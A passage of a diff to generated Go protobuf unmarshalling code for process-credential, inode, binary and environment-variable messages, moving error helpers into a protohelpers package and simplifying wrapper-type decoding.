io.ErrUnexpectedEOF @@ -8048,16 +8466,8 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { if m.Level == nil { m.Level = &wrapperspb.Int32Value{} } - if unmarshal, ok := interface{}(m.Level).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Level); err != nil { - return err - } + if err := (*wrapperspb.Int32Value)(m.Level).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 2: @@ -8067,7 +8477,7 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8080,11 +8490,11 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8092,16 +8502,8 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { if m.Uid == nil { m.Uid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Uid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Uid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Uid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 3: @@ -8111,7 +8513,7 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8124,11 +8526,11 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8136,16 +8538,8 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { if m.Gid == nil { m.Gid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Gid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Gid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Gid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 4: @@ -8155,7 +8549,7 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8168,11 +8562,11 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8186,12 +8580,12 @@ func (m *UserNamespace) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -8214,7 +8608,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8242,7 +8636,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8255,11 +8649,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8267,16 +8661,8 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { if m.Uid == nil { m.Uid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Uid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Uid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Uid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 2: @@ -8286,7 +8672,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8299,11 +8685,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8311,16 +8697,8 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { if m.Gid == nil { m.Gid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Gid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Gid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Gid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 3: @@ -8330,7 +8708,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8343,11 +8721,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8355,16 +8733,8 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { if m.Euid == nil { m.Euid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Euid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Euid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Euid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 4: @@ -8374,7 +8744,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8387,11 +8757,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8399,16 +8769,8 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { if m.Egid == nil { m.Egid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Egid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Egid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Egid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 5: @@ -8418,7 +8780,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8431,11 +8793,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8443,16 +8805,8 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { if m.Suid == nil { m.Suid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Suid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Suid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Suid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 6: @@ -8462,7 +8816,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8475,11 +8829,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8487,16 +8841,8 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { if m.Sgid == nil { m.Sgid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Sgid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Sgid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Sgid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 7: @@ -8506,7 +8852,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8519,11 +8865,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8531,16 +8877,8 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { if m.Fsuid == nil { m.Fsuid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Fsuid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Fsuid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Fsuid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 8: @@ -8550,7 +8888,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8563,11 +8901,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8575,16 +8913,8 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { if m.Fsgid == nil { m.Fsgid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Fsgid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Fsgid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Fsgid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 9: @@ -8592,7 +8922,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var v SecureBitsType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8609,7 +8939,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8622,11 +8952,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8639,7 +8969,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var v SecureBitsType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8663,7 +8993,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8676,11 +9006,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8699,7 +9029,7 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8712,11 +9042,11 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8730,12 +9060,12 @@ func (m *ProcessCredentials) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -8758,7 +9088,7 @@ func (m *InodeProperties) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8786,7 +9116,7 @@ func (m *InodeProperties) UnmarshalVT(dAtA []byte) error { m.Number = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8805,7 +9135,7 @@ func (m *InodeProperties) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8818,11 +9148,11 @@ func (m *InodeProperties) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8830,26 +9160,18 @@ func (m *InodeProperties) UnmarshalVT(dAtA []byte) error { if m.Links == nil { m.Links = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Links).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Links); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Links).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -8872,7 +9194,7 @@ func (m *FileProperties) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8900,7 +9222,7 @@ func (m *FileProperties) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8913,11 +9235,11 @@ func (m *FileProperties) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8936,7 +9258,7 @@ func (m *FileProperties) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -8950,11 +9272,11 @@ func (m *FileProperties) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -8963,12 +9285,12 @@ func (m *FileProperties) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -8991,7 +9313,7 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9019,7 +9341,7 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9032,11 +9354,11 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9044,16 +9366,8 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { if m.Setuid == nil { m.Setuid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Setuid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Setuid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Setuid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 2: @@ -9063,7 +9377,7 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9076,11 +9390,11 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9088,16 +9402,8 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { if m.Setgid == nil { m.Setgid = &wrapperspb.UInt32Value{} } - if unmarshal, ok := interface{}(m.Setgid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Setgid); err != nil { - return err - } + if err := (*wrapperspb.UInt32Value)(m.Setgid).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 3: @@ -9105,7 +9411,7 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { var v ProcessPrivilegesChanged for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9122,7 +9428,7 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9135,11 +9441,11 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9152,7 +9458,7 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { var v ProcessPrivilegesChanged for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9176,7 +9482,7 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9189,11 +9495,11 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9207,12 +9513,12 @@ func (m *BinaryProperties) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -9235,7 +9541,7 @@ func (m *UserRecord) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9263,7 +9569,7 @@ func (m *UserRecord) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9277,11 +9583,11 @@ func (m *UserRecord) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -9290,12 +9596,12 @@ func (m *UserRecord) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -9310,7 +9616,7 @@ func (m *UserRecord) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *Process) UnmarshalVT(dAtA []byte) error { +func (m *EnvVar) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -9318,7 +9624,7 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9333,20 +9639,20 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: Process: wiretype end group for non-group") + return fmt.Errorf("proto: EnvVar: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: Process: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: EnvVar: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field ExecId", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -9360,103 +9666,202 @@ func (m *Process) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.ExecId = string(dAtA[iNdEx:postIndex]) + m.Key = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 2: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Value", wireType) } - var msglen int + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { - return ErrInvalidLength + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength } - postIndex := iNdEx + msglen + postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - if m.Pid == nil { - m.Pid = &wrapperspb.UInt32Value{} - } - if unmarshal, ok := interface{}(m.Pid).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { 